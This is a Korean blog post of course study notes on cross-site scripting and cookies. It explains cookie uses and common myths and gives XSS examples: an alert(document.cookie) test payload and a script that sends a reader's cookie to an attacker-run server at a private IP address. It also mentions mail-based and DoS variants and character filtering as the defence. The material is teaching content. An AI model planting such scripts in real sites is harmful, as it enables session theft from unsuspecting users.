본문 바로가기
정보보호/정보보호학 개론 (2013, 백석대 이근호 교수님)

5-4. 인터넷 보안 : XSS 공격

by 규글 2024. 8. 9.

목표

1. XSS에 대해서 이해함

2. 쿠키에 대해서 이해함

3. 쿠키를 이용한 공격을 이해함

 

클라이언트 측에서 사용하고 있는 쿠키의 정보를 이용한 공격

 

XSS (Cross Site Scripting)

 : 가장 일반적인 목적은 웹 사용자의 정보 추출

 

- 과부하를 일으켜서 서버를 다운시키거나 피싱(Fishing) 공격의 일환으로 사용되기도 함

- 줄여서 CSS이나, 웹에서 레이아웃과 스타일을 정의할 때 사용되는 캐스케이딩 스타일 시트(Cascading Style Sheets)의 CSS와 혼동되어 Cross를 X로 줄임.

 

쿠키 (Cookie)

: 사용자가 인터넷 웹 사이트에 방문할 때 생기는 4KB 이하의 파일.

- 클라이언트가 웹 사이트에 방문하면 접근 기록이 클라이언트에 파일로 남고, 이 파일에는 사용자와 웹 사이트를 연결해주는 정보를 담고 있음

 

- 사용자들이 웹 사이트를 이용할 때 세션을 유지하며 편하게 이용할 수 있도록 하기 위해 만들어짐(네스케이프, 1994)

- 예시

Set-Cookie; Name=Value; expires=Data;
Path=PATH; domain=DOMAIN_NAME;
Secure

 

- C:\Document and Settings\[사용자 이름]\Cookies 에서 인터넷을 이용할 때 만들어진 쿠키를 확인할 수 있음

- 쿠키 파일은 '[사용자 이름]@접속한 사이트'의 형태로 구성됨. 내용은 웹 사이트나 상황에 따라 다르지만 쿠키를 만든 사이트의 도메인 이름, 사이트를 구분하는 숫자, 쿠키의 만기일 등의 정보로 이루어져 있음.

 

용도

- 사이트 개인화 (개인의 편의성 설정 등)

- 장바구니 시스템 (임시로 상품 정보 저장)

- 웹 사이트 이용 방식 추적 (링크, 검색 등) 

- 타겟 마케팅

 

오해

- 쿠키가 바이러스를 전파함

  (쿠키의 정보를 공격자가 탈취하는 것이 문제가 되는 것이지 바이러스를 전파하지는 않음)

- 쿠키가 사용자 컴퓨터에 피해를 입힘

  (직접적으로 피해를 입히지는 않으나 로그인 등의 정보를 포함하여 악용되는 경우가 있을 뿐)

- 특정 웹 사이트가 저장한 쿠키를 다른 웹 사이트에서도 읽을 수 있음

 

공격

정상적인 게시판의 글을 작성하고 열람하는 상황

- XSS 테스트 코드를 게시판의 본문에 입력

<script>alert(document.cookie)</script>

- 위의 테스트 코드를 입력한 게시판의 글을 열람한다고 하면 글의 내용이 보이는 것이 아니라 입력한 스크립트 코드가 실행됨. 코드는 현재 사용자의 쿠키값을 alert 창으로 띄우는 것.

 

- 보다 공격이 지능화되고 있음

 

- 웹 사이트에서는 이를 방지하기 위해 스크립트를 작성하거나 실행 파일 관련 공격을 필터링하고 있음

 

선량한 사용자의 쿠키 획득

<script>url="http://192.168.1.10/GetCookie.asp?cookie
="+document.cookie;window.open(url, width=0,height=0);</script>

- 게시판을 열람할 때 사용자의 쿠키 정보가 해커의 웹 서버로 전송되게 함. 글을 읽는 당사자에게는 본문 외의 내용은 보이지 않음.

 

메일 서비스를 이용한 공격

- 메일의 본문에 XSS 공격 코드를 입력한  후, 이를 특정인에게 보내 메일을 이용하는 사람의 세션 정보를 담은 쿠키 값을 공격 서버로 전송하도록 함.

 

- 쿠키를 이용한 아이디와 비밀번호 인증에 대한 내용은 상당한 리스크가 있어서, 이를 대체할 방법으로 공인 인증서를 사용하나 이 또한 해킹 위험성이 있음. 생체 인증이 이를 대체할 수 있어보임.

 

DoS 공격

- 취약 페이지를 재참조하는 스크립트를 입력하면 취약 페이지에서 무한 루프가 발생할 수 있음

대응책

- 특수문자에 대한 필터링으로 스크립트 코드가 실행되지 않도록 함.

댓글